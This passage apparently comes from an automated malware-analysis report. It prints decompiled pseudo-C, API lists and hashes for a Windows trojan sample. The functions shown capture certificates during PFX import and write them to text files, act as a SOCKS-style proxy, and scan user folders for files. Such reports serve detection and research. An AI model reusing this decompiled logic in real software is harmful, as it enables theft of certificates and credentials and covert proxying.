					 *((intOrPtr*)(__esi + 0x58)) = _t46;
					 *((intOrPtr*)(__esi + 0x60)) = _t46;
					 *((intOrPtr*)(__esi + 0x5c)) = _t58;
					 *((intOrPtr*)(__esi + 0x64)) = _t58;
					 *((intOrPtr*)(__esi + 0x54)) = _t60;
					 *(__esi + 0x68) = (_v8 & 0x0000ffff) << 0x00000010 | _v12 & 0x0000ffff;
					L5:
					 *(_t62 + 0x7c) = _t61;
					return 0;
				}
				_t9 = _t62 + 0x68; // 0x68
				_t10 = _t62 + 0x50; // 0x50
				_t11 = _t62 + 0x70; // 0x70
				_t12 = _t62 + 0x4c; // 0x4c
				_t55 = E0040C261(__edi, _t12, _t11, _t10, _t9);
				if(_t55 == 0) {
					SetFilePointer(__edi, 0, 0, 0);
					 *((char*)(__esi + 0x6c)) = 1;
					goto L5;
				}
				return _t55;
			}

0x0040c641
0x0040c641
0x0040c641
0x0040c64a
0x0040c64d
0x0040c653
0x0040c659
0x0040c65c
0x0040c65f
0x0040c665
0x0040c66a
0x00000000
0x0040c728
0x0040c689
0x0040c6be
0x0040c6c6
0x0040c6cd
0x0040c6d0
0x0040c6de
0x0040c6f2
0x0040c6fd
0x0040c702
0x0040c705
0x0040c707
0x0040c70a
0x0040c711
0x0040c714
0x0040c720
0x0040c723
0x0040c6b7
0x0040c6b7
0x00000000
0x0040c6ba
0x0040c68b
0x0040c68f
0x0040c693
0x0040c697
0x0040c69c
0x0040c6a3
0x0040c6ad
0x0040c6b3
0x00000000
0x0040c6b3
0x0040c72f

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,00000000,?,?,?,?,?,0040CA73,?,?,00000008), ref: 0040C680
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,0000004C,00000070,00000050,00000068,?,?,?,?,?,0040CA73,?), ref: 0040C6AD
GetLocalTime.KERNEL32(?,?,?,?,?,?,0040CA73,?,?,00000008), ref: 0040C6D0
SystemTimeToFileTime.KERNEL32(?,0040CA73,?,?,?,?,?,0040CA73,?,?,00000008), ref: 0040C6DE

Part of subcall function 0040C261: GetFileInformationByHandle.KERNEL32(00000050,?,?,00000000,00000000), ref: 0040C272

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: e1c4d8c00ff14859e890a91cda9229fee8014c2398302838019bb90cedfbbcb8
Instruction ID: 31d9d63a564367a66893aa96f1b6eaf5cdafedbc688a071726764ae746c2ea30
Opcode Fuzzy Hash: e1c4d8c00ff14859e890a91cda9229fee8014c2398302838019bb90cedfbbcb8
Instruction Fuzzy Hash: 3A31E0B1800B45EFD7218F69C8C49ABBBF8BB08344B104A2EE1A6E26A0D775A545DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411AAD, Relevance: 6.0, APIs: 4, Instructions: 42
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411AAD(HANDLE* _a4) {
				struct tagMSG _v28;
				long _t16;

				while(1) {
					_t16 = MsgWaitForMultipleObjects(1, _a4, 0, 0xffffffff, 0x4ff);
					if(_t16 != 1) {
						break;
					}
					while(PeekMessageW( &_v28, 0, 0, 0, 1) != 0) {
						if(_v28.message != 0x12) {
							TranslateMessage( &_v28);
							DispatchMessageW( &_v28);
							continue;
						}
						goto L5;
					}
				}
				L5:
				return _t16;
			}

0x00411af4
0x00411b00
0x00411b05
0x00000000
0x00000000
0x00411ae0
0x00411ac8
0x00411acf
0x00411ada
0x00000000
0x00411ada
0x00000000
0x00411ac8
0x00411ae0
0x00411b08
0x00411b10

APIs

PeekMessageW.USER32 ref: 00411AEA
MsgWaitForMultipleObjects.USER32 ref: 00411AFE

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageMultipleObjectsPeekWait
String ID:
API String ID: 3986374578-0
Opcode ID: 2e5a789a4ba89a4dc2d3f91d478fe0e4b5b9838bccdf4af9539322e56e586061
Instruction ID: aed2db545c077d75e7034ce13962939cb9649b68484ffd1e1cce9bfd4ad52a40
Opcode Fuzzy Hash: 2e5a789a4ba89a4dc2d3f91d478fe0e4b5b9838bccdf4af9539322e56e586061
Instruction Fuzzy Hash: 4AF0C2322043096BD710EB99DD48EABBBECEF453A5F44057AFB01E2170D276994486B5

Uniqueness

Uniqueness Score: -1.00%

Function 004093E9, Relevance: 6.0, APIs: 4, Instructions: 37
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004093E9(void* __eflags) {
				void* _t1;
				void* _t2;
				long _t6;
				void* _t10;

				_t1 = E00405367(_t10, __eflags, 0x19367401, 1);
				_t9 = _t1;
				if(_t1 != 0) {
					_t2 = E0040548D();
					__eflags = _t2;
					if(_t2 == 0) {
						L7:
						E00411B13(_t9);
						__eflags = 0;
						return 0;
					}
					SetThreadPriority(GetCurrentThread(), 0xfffffff1);
					_t6 = WaitForSingleObject( *0x42276c, 0x1388);
					while(1) {
						__eflags = _t6 - 0x102;
						if(_t6 != 0x102) {
							break;
						}
						E0041EB01();
						_t6 = WaitForSingleObject( *0x42276c, 0x1388);
					}
					goto L7;
				}
				return _t1 + 1;
			}

0x004093f1
0x004093f6
0x004093fa
0x004093ff
0x00409404
0x00409406
0x0040944a
0x0040944b
0x00409450
0x00000000
0x00409450
0x00409413
0x00409425
0x00409444
0x00409444
0x00409446
0x00000000
0x00000000
0x00409432
0x0040943e
0x0040943e
0x00000000
0x00409449
0x00000000

APIs

Part of subcall function 00405367: CreateMutexW.KERNEL32(004222E0,00000000,?,?,?,?,?), ref: 00405388

GetCurrentThread.KERNEL32 ref: 0040940C
SetThreadPriority.KERNEL32(00000000,?,?,19367401,00000001), ref: 00409413
WaitForSingleObject.KERNEL32(00001388,?,?,19367401,00000001), ref: 00409425

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CreateCurrentMutexObjectPrioritySingleWait
String ID:
API String ID: 3441234504-0
Opcode ID: 977b18de974cef0a6e3151ee3cc2e5575b017d6914428bfb580ba65621ad7ac9
Instruction ID: a33591048eadb572106d6f7bf978cc3076e7f935d3a1dcdbbd5e81007bc1e3a1
Opcode Fuzzy Hash: 977b18de974cef0a6e3151ee3cc2e5575b017d6914428bfb580ba65621ad7ac9
Instruction Fuzzy Hash: F5F0E97130820066CB203BB2AD4DD9B3A29E784369B54403AF902A11F3CA784D43C53D

Uniqueness

Uniqueness Score: -1.00%

Function 004162AB, Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E004162AB(void* __eflags, char _a4) {
				char _v9;
				char _v13;
				char _v20;
				signed int _v24;
				signed int _v29;
				short _v31;
				signed char _v32;
				intOrPtr _v36;
				signed int _v48;
				short _v50;
				char _v52;
				char _v312;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t59;
				void* _t61;
				short _t77;
				void* _t79;
				void* _t84;
				char _t105;
				char* _t107;
				signed int _t115;
				void* _t125;
				intOrPtr _t127;
				void* _t128;
				char _t130;
				void* _t132;
				intOrPtr _t133;
				void* _t134;

				_t112 = _a4;
				_t59 = E004118C2(_t112);
				_push(0);
				_push( &_v32);
				_push(_t112);
				_t61 = 7;
				_v24 = 0 | _t59 == 0x00000017;
				if(E00411304(_t61) != 0) {
					while(E00411304(1, _t112,  &_v9, 0) != 0) {
						if(_v9 == 0) {
							_t115 = _v29;
							_t116 = _t115 << 0x10;
							_v13 = 0x5a;
							if(((_t115 & 0x00ff0000 | _t115 >> 0x00000010) >> 0x00000008 | (_t115 & 0x0000ff00 | _t115 << 0x00000010) << 0x00000008) - 1 > 0xfe) {
								L20:
								_v9 = 1;
								if(_v13 != 0x5a) {
									L44:
									return E00416235(_t112, 0xffffffff, _v13, _v24) & 0xffffff00 | _t73 != 0x00000000;
								}
								E0040E2E8( &_v52,  &_v52, 0, 0x10);
								_t77 = 2;
								_v52 = _t77;
								_t79 = (_v32 & 0x000000ff) - 1;
								if(_t79 == 0) {
									_v50 = _v31;
									_v48 = _v29;
									_t128 = E00411387( &_v52);
									if(_t128 == 0xffffffff) {
										L23:
										_v13 = 0x5b;
										goto L44;
									}
									E00411705(_t116, _t128);
									_t84 = E00416235(_t112, _t128, 0x5a, _v24);
									if(_t84 != 1) {
										if(_t84 != 0xffffffff) {
											_v9 = 0;
										} else {
											_v13 = 0x5b;
										}
									} else {
										_push(_t128);
										E0041153B(_t112);
									}
									E004116AD(_t128);
									if(_v9 != 1 || _v13 == 0x5a) {
										L34:
										return _v9;
									} else {
										goto L44;
									}
								}
								if(_t79 == 1) {
									_t130 = E00411481( &_v52, 1);
									_v20 = _t130;
									if(_t130 == 0xffffffff) {
										goto L23;
									}
									_t125 = E00416235(_t112, _t130, 0x5a, _v24);
									if(_t125 != 1) {
										L31:
										E004116AD(_t130);
										if(_t125 == 0xffffffff) {
											goto L23;
										}
										if(_t125 != 1) {
											_v9 = 0;
										}
										goto L34;
									}
									_t127 = E00411682( &_a4);
									_v36 = _t127;
									E004116AD(_v20);
									if(_t127 != 0xffffffff) {
										E00411705(_t116, _t127);
										_t112 = _a4;
										_t125 = E00416235(_a4, _t127, 0x5a, _v24 | 0x00000002);
										if(_t125 == 1) {
											_push(_v36);
											E0041153B(_t112);
										}
										_t130 = _v36;
										goto L31;
									}
									_t112 = _a4;
									_v13 = 0x5b;
									goto L44;
								}
								goto L23;
							}
							_t132 = 0;
							while(E00411304(1, _t112,  &_v9, 0) != 0) {
								_t105 = _v9;
								 *((char*)(_t134 + _t132 - 0x134)) = _t105;
								if(_t105 == 0) {
									_t107 =  &_v312;
									_v20 = 0;
									__imp__getaddrinfo(_t107, 0, 0,  &_v20);
									if(_t107 == 0) {
										_t133 = _v20;
										while(_t133 != 0) {
											if( *((intOrPtr*)(_t133 + 4)) == 2) {
												E0040E271( &_v29,  *((intOrPtr*)(_t133 + 0x18)) + 4, 4);
												L19:
												__imp__freeaddrinfo(_v20);
												if(_t133 == 0) {
													goto L12;
												}
												goto L20;
											}
											_t133 =  *((intOrPtr*)(_t133 + 0x1c));
										}
										goto L19;
									}
									L12:
									_v13 = 0x5b;
									goto L20;
								}
								_t132 = _t132 + 1;
								if(_t132 <= 0xff) {
									continue;
								}
								goto L1;
							}
							goto L1;
						}
					}
				}
				L1:
				return 0;
			}

0x004162b5
0x004162bb
0x004162cb
0x004162cf
0x004162d0
0x004162d3
0x004162d4
0x004162de
0x004162ed
0x004162eb
0x00416301
0x0041631a
0x00416328
0x00416331
0x004163ba
0x004163be
0x004163c2
0x004164ef
0x00000000
0x004164ff
0x004163cf
0x004163d6
0x004163d7
0x004163df
0x004163e0
0x00416493
0x0041649d
0x004164a5
0x004164aa
0x004163e9
0x004163e9
0x00000000
0x004163e9
0x004164b1
0x004164bd
0x004164c5
0x004164d2
0x004164da
0x004164d4
0x004164d4
0x004164d4
0x004164c7
0x004164c7
0x004164c8
0x004164c8
0x004164de
0x004164e7
0x00416485
0x00000000
0x00000000
0x00000000
0x00000000
0x004164e7
0x004163e7
0x004163fc
0x004163fe
0x00416404
0x00000000
0x00000000
0x00416412
0x00416417
0x0041646e
0x0041646e
0x00416476
0x00000000
0x00000000
0x0041647f
0x00416481
0x00416481
0x00000000
0x0041647f
0x00416428
0x0041642a
0x0041642d
0x00416435
0x00416444
0x0041644c
0x0041645c
0x00416461
0x00416463
0x00416466
0x00416466
0x0041646b
0x00000000
0x0041646b
0x00416437
0x0041643a
0x00000000
0x0041643a
0x00000000
0x004163e7
0x00416337
0x00416339
0x0041634b
0x0041634e
0x00416357
0x0041636d
0x00416374
0x00416377
0x0041637f
0x00416387
0x00416395
0x00416390
0x004163a8
0x004163ad
0x004163b0
0x004163b8
0x00000000
0x00000000
0x00000000
0x004163b8
0x00416392
0x00416392
0x00000000
0x00416399
0x00416381
0x00416381
0x00000000
0x00416381
0x00416359
0x00416360
0x00000000
0x00000000
0x00000000
0x00416362
0x00000000
0x00416339
0x004162eb
0x004162ed
0x004162e0
0x00000000

APIs

Part of subcall function 004118C2: getsockname.WS2_32(00000004,?,00000004), ref: 004118E0

getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00416377
freeaddrinfo.WS2_32(?,?,?,00000004), ref: 004163B0

Part of subcall function 00411705: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041171B

Part of subcall function 00416235: getpeername.WS2_32(000000FF,?,?), ref: 00416259

Part of subcall function 0041153B: select.WS2_32(00000000,?,00000000,00000000,00000000), ref: 004115DB

Strings

Z, xrefs: 004164E9

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: freeaddrinfogetaddrinfogetpeernamegetsocknameselectsetsockopt
String ID: Z
API String ID: 1849152701-1505515367
Opcode ID: 23493f0c3797b72244584838e15f533818a1221a9b183cf27103e7a50477c0ae
Instruction ID: 60e2a7f390015513f8fd8ebc7da9007083c68b555b0bb53a0b8ce233b2b9ad52
Opcode Fuzzy Hash: 23493f0c3797b72244584838e15f533818a1221a9b183cf27103e7a50477c0ae
Instruction Fuzzy Hash: 9F611871E001186BDF20ABA88C45AEFB7B9AF05314F06456BF925B32D1D63CC981C76E

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5FA, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
timeCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E0041C5FA(intOrPtr __eax, void* __ecx, intOrPtr* _a4, intOrPtr* _a8, signed int _a12) {
				char _v536;
				char _v600;
				char _v728;
				char _v744;
				struct _SYSTEMTIME _v760;
				intOrPtr _v764;
				intOrPtr _v772;
				intOrPtr _v776;
				char _v784;
				void* __edi;
				void* __esi;
				void* _t47;
				void* _t58;
				intOrPtr* _t59;
				void* _t61;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t71;
				char* _t74;
				signed int _t76;
				void* _t78;
				void* _t79;

				_t61 = __ecx;
				_t78 = (_t76 & 0xfffffff8) - 0x2fc;
				_t59 = _a4;
				__imp__PFXImportCertStore(_t59, _a8, _a12, _t67, _t71, _t58);
				_v776 = __eax;
				if(__eax != 0 && (_a12 & 0x10000000) == 0 && _t59 != 0 &&  *_t59 > 0 &&  *((intOrPtr*)(_t59 + 4)) != 0 && E0040548D() != 0) {
					GetSystemTime( &_v760);
					E00407384(0xa9,  &_v600);
					_t74 =  &_v744;
					E00407384(0xaa, _t74);
					E0041C3D9( &_v536, _t61);
					_push(_v760.wYear & 0x0000ffff);
					_push(_v760.wMonth & 0x0000ffff);
					_push(_v760.wDay & 0x0000ffff);
					_push(_t74);
					_push( &_v536);
					_push( &_v600);
					_t65 = 0x3e;
					_t47 = E0040EF28( &_v600, _t65,  &_v728);
					_t79 = _t78 + 0x18;
					if(_t47 > 0 && E0041E3F3(_t61, _t65, 2, 0,  &_v728,  *((intOrPtr*)(_t59 + 4)),  *_t59) != 0) {
						_t66 = _a8;
						if(_t66 != 0 &&  *_t66 != 0) {
							 *((short*)(E0040E271(_t79 + 0x48 + E0040ED84( &_v728) * 2, L".txt", 8) + 8)) = 0;
							_t64 = _t66;
							if(E0040F08C(_t52 | 0xffffffff, _t66,  &_v784) != 0) {
								E0041E3F3(_t64, _t66, 2, 0,  &_v728, _v772, _v764);
								E0040F07A( &_v784);
							}
						}
					}
				}
				return _v776;
			}

0x0041c5fa
0x0041c600
0x0041c607
0x0041c613
0x0041c619
0x0041c61f
0x0041c65f
0x0041c671
0x0041c676
0x0041c67f
0x0041c68b
0x0041c695
0x0041c69b
0x0041c6a1
0x0041c6a4
0x0041c6ac
0x0041c6b4
0x0041c6b7
0x0041c6bc
0x0041c6c1
0x0041c6c6
0x0041c6de
0x0041c6e3
0x0041c706
0x0041c711
0x0041c71a
0x0041c72c
0x0041c731
0x0041c731
0x0041c71a
0x0041c6e3
0x0041c6c6
0x0041c740

APIs

PFXImportCertStore.CRYPT32(?,?,?), ref: 0041C613

Part of subcall function 0040548D: WaitForSingleObject.KERNEL32(00000000,004094C0,?,?,19367402,00000001), ref: 00405495

GetSystemTime.KERNEL32(?), ref: 0041C65F

Part of subcall function 0041C3D9: GetUserNameExW.SECUR32(00000002,?,00000001,?,?,?,0041C530,?,?,00000000), ref: 0041C3EE

Strings

.txt, xrefs: 0041C6F5

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CertImportNameObjectSingleStoreSystemTimeUserWait
String ID: .txt
API String ID: 1412380219-2195685702
Opcode ID: b7216488cd8d96490022bcf26098b60188a62db26578acc38d8d4f2b431e150c
Instruction ID: e286e060dbd39f3b53a48dd5bd70c44d4cfbef8d810355bde17651df133938bd
Opcode Fuzzy Hash: b7216488cd8d96490022bcf26098b60188a62db26578acc38d8d4f2b431e150c
Instruction Fuzzy Hash: F831C0311003469ADB20EF55CD85BEB77A9FF88340F04093ABDA4971D1D778D988CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00418A10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00404508,00000000,00004401,00404518,?,?,00000000,00000001), ref: 00418A40
CoCreateInstance.OLE32(004044D8,00000000,00004401,004044E8,?,?,00000000,00000001), ref: 00418A93

Strings

D, xrefs: 00418ABE

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateInstance
String ID: D
API String ID: 542301482-2746444292
Opcode ID: 7e88cecaa40a6fd0bc0c567f19130ea1184702476f2dcfab66a97acde1f598b6
Instruction ID: 1ac310454a423f16304368702173e1d4537229b0adeb5a90d9c02cdc5ce337de
Opcode Fuzzy Hash: 7e88cecaa40a6fd0bc0c567f19130ea1184702476f2dcfab66a97acde1f598b6
Instruction Fuzzy Hash: A3317CB2204305AFD710DF64CC84DABB7E9AF84744F00092EFA54A7290EB74DC458BA6

Uniqueness

Uniqueness Score: -1.00%

Function 0041B04F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041B04F(void* __eflags) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v60;
				char _v580;
				void* __edi;
				void* __esi;
				char* _t22;
				signed int _t30;
				char* _t32;
				void* _t34;

				_t32 =  &_v60;
				E00407384(0x95, _t32);
				_v16 = _t32;
				_v28 = 0x26;
				_v24 = 0x1a;
				_v20 = 0x23;
				E0040E2E8( &_v12,  &_v12, 0, 8);
				_t30 = 0;
				do {
					_t22 =  &_v580;
					__imp__SHGetFolderPathW(0,  *((intOrPtr*)(_t34 + _t30 * 4 - 0x18)), 0, 0, _t22);
					_t37 = _t22;
					if(_t22 == 0) {
						_t29 =  &_v16;
						E00413A0C( &_v580,  &_v16, _t37, 1, 2, E0041ADC0,  &_v12, 0, 0, 0);
					}
					_t30 = _t30 + 1;
				} while (_t30 < 3);
				if(_v8 <= 0) {
					return E0040E235(_v12);
				}
				return E00418783(_t29, _v12, 0xcb);
			}

0x0041b05a
0x0041b062
0x0041b06b
0x0041b075
0x0041b07c
0x0041b083
0x0041b08a
0x0041b08f
0x0041b091
0x0041b091
0x0041b09f
0x0041b0a5
0x0041b0a7
0x0041b0b9
0x0041b0c2
0x0041b0c2
0x0041b0c7
0x0041b0c8
0x0041b0d0
0x00000000
0x0041b0e9
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008,?,00000000), ref: 0041B09F

Part of subcall function 00413A0C: FindFirstFileW.KERNEL32(?,?,?,?,00000000,?,80000001), ref: 00413A49
Part of subcall function 00413A0C: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00413A6A
Part of subcall function 00413A0C: PathMatchSpecW.SHLWAPI(?,?), ref: 00413AB0
Part of subcall function 00413A0C: Sleep.KERNEL32(00000000,?,?), ref: 00413B11
Part of subcall function 00413A0C: FindNextFileW.KERNEL32(?,?), ref: 00413B41
Part of subcall function 00413A0C: FindClose.KERNEL32(?), ref: 00413B53

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

Strings

#, xrefs: 0041B083
&, xrefs: 0041B075

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&
API String ID: 3438805939-3870246384
Opcode ID: 3fecb086df68a381120a17b156a554686b300b22690365944685c9b30bcb5d4c
Instruction ID: e9f8c9d242677cf48cd189560e784d93c3dce443366bc8d42f404e0e450f42a5
Opcode Fuzzy Hash: 3fecb086df68a381120a17b156a554686b300b22690365944685c9b30bcb5d4c
Instruction Fuzzy Hash: F0117075A011287ADB209B96DC49BDFBF7CEF45354F00006ABA15B6180D3785A85CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0041A72E, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0041A72E(void* __eflags) {
				intOrPtr _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v52;
				char _v572;
				void* __edi;
				void* __esi;
				char* _t22;
				signed int _t30;
				char* _t32;
				void* _t34;

				_t32 =  &_v52;
				E00407384(0x81, _t32);
				_v16 = _t32;
				_v28 = 0x26;
				_v24 = 0x1a;
				_v20 = 0x23;
				E0040E2E8( &_v12,  &_v12, 0, 8);
				_t30 = 0;
				do {
					_t22 =  &_v572;
					__imp__SHGetFolderPathW(0,  *((intOrPtr*)(_t34 + _t30 * 4 - 0x18)), 0, 0, _t22);
					_t37 = _t22;
					if(_t22 == 0) {
						_t29 =  &_v16;
						E00413A0C( &_v572,  &_v16, _t37, 1, 2, E0041A493,  &_v12, 0, 0, 0);
					}
					_t30 = _t30 + 1;
				} while (_t30 < 3);
				if(_v8 <= 0) {
					return E0040E235(_v12);
				}
				return E00418783(_t29, _v12, 0xcb);
			}

0x0041a739
0x0041a741
0x0041a74a
0x0041a754
0x0041a75b
0x0041a762
0x0041a769
0x0041a76e
0x0041a770
0x0041a770
0x0041a77e
0x0041a784
0x0041a786
0x0041a798
0x0041a7a1
0x0041a7a1
0x0041a7a6
0x0041a7a7
0x0041a7af
0x00000000
0x0041a7c8
0x00000000

APIs

SHGetFolderPathW.SHELL32(00000000,00000026,00000000,00000000,?,?,00000000,00000008,?,00000000), ref: 0041A77E

Part of subcall function 00413A0C: FindFirstFileW.KERNEL32(?,?,?,?,00000000,?,80000001), ref: 00413A49
Part of subcall function 00413A0C: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00413A6A
Part of subcall function 00413A0C: PathMatchSpecW.SHLWAPI(?,?), ref: 00413AB0
Part of subcall function 00413A0C: Sleep.KERNEL32(00000000,?,?), ref: 00413B11
Part of subcall function 00413A0C: FindNextFileW.KERNEL32(?,?), ref: 00413B41
Part of subcall function 00413A0C: FindClose.KERNEL32(?), ref: 00413B53

Part of subcall function 0040E235: HeapFree.KERNEL32(00000000,00000000,0040FA2C,00000000,?,?,?,00404B40,00000000,00405142), ref: 0040E248

Strings

#, xrefs: 0041A762
&, xrefs: 0041A754

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$FilePath$CloseFirstFolderFreeHeapMatchNextObjectSingleSleepSpecWait
String ID: #$&
API String ID: 3438805939-3870246384
Opcode ID: 9ca088e28e75c0003c4b45b6b41ac97d8ad5bd5407bc0040b36f7cc033e6b38a
Instruction ID: 30e424002267c2375742f4f1778699cb6d6ff7aa8bd9ce4ad3353366f9dccc74
Opcode Fuzzy Hash: 9ca088e28e75c0003c4b45b6b41ac97d8ad5bd5407bc0040b36f7cc033e6b38a
Instruction Fuzzy Hash: AB11A0759022287AEB209B92DC09FDF7F7CEF41744F00416AB915B6180D7785B86CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040596E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040596E(void* __eflags) {
				signed int _v8;
				char _v20;
				char _v44;
				char _v92;
				void* __edi;
				void* __esi;
				void* _t17;
				CHAR* _t27;
				intOrPtr* _t28;
				WCHAR* _t30;
				struct HINSTANCE__* _t31;

				_t30 =  &_v44;
				E00407384(0xe0, _t30);
				_t31 = GetModuleHandleW(_t30);
				if(_t31 != 0) {
					_t27 =  &_v20;
					E0040734E(0xe1, _t27);
					_t28 = GetProcAddress(_t31, _t27);
					if(_t28 == 0) {
						L4:
						_t17 = 0;
						L6:
						return _t17;
					}
					_v8 = _v8 & 0x00000000;
					_t32 =  &_v92;
					E00407384(0xd2,  &_v92);
					_push(0x1e6);
					_push("0xF52BE0F5");
					if(E0040EFA3( &_v8, _t32, 0x201080e) > 0) {
						 *_t28(0, _v8, "#", 0x10040);
						E0040E235(_v8);
						_t17 = 1;
						goto L6;
					}
					goto L4;
				}
				return 0;
			}

0x00405975
0x0040597d
0x0040598b
0x0040598f
0x00405996
0x0040599e
0x004059ad
0x004059b1
0x004059e6
0x004059e6
0x00405a05
0x00000000
0x00405a05
0x004059b3
0x004059b7
0x004059bf
0x004059c4
0x004059c9
0x004059e4
0x004059f9
0x004059fe
0x00405a03
0x00000000
0x00405a03
0x00000000
0x004059e4
0x00000000

APIs

GetModuleHandleW.KERNEL32(?), ref: 00405985
GetProcAddress.KERNEL32(00000000,?), ref: 004059A7

Strings

0xF52BE0F5, xrefs: 004059C9

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: 0xF52BE0F5
API String ID: 1646373207-3323659948
Opcode ID: f15ee14b14ebbacf32cced1b083b9c477158f606fb32b03d3a176e89e90102c2
Instruction ID: 0a8be8f6fe94b23316d39e6dc95531945ec24c5245086db007fa3a533b17f49a
Opcode Fuzzy Hash: f15ee14b14ebbacf32cced1b083b9c477158f606fb32b03d3a176e89e90102c2
Instruction Fuzzy Hash: 6401F5B6E40644B7DB116AAA8C0ABDF3768DB40714F000476FC01F72C2DA7CDA0599AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041365F, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041365F(intOrPtr _a4, intOrPtr _a8) {
				short _v524;
				char _v1044;
				void* __edi;
				void* _t12;
				void* _t20;
				void* _t21;

				if(GetTempPathW(0xf6,  &_v524) - 1 > 0xf5) {
					L6:
					return 0;
				}
				_t20 = 0;
				while(1) {
					_push(_a4);
					_push(E0040F56E());
					_push(L"tmp");
					_t19 =  &_v1044;
					_t12 = E0040EF28(_t11, 0x104,  &_v1044, L"%s%08x.%s");
					_t21 = _t21 + 0x10;
					if(_t12 == 0xffffffff) {
						goto L6;
					}
					if(E00413B62(_t19, _a8,  &_v524) == 0 || E00413495(_a8, 0, 0) == 0) {
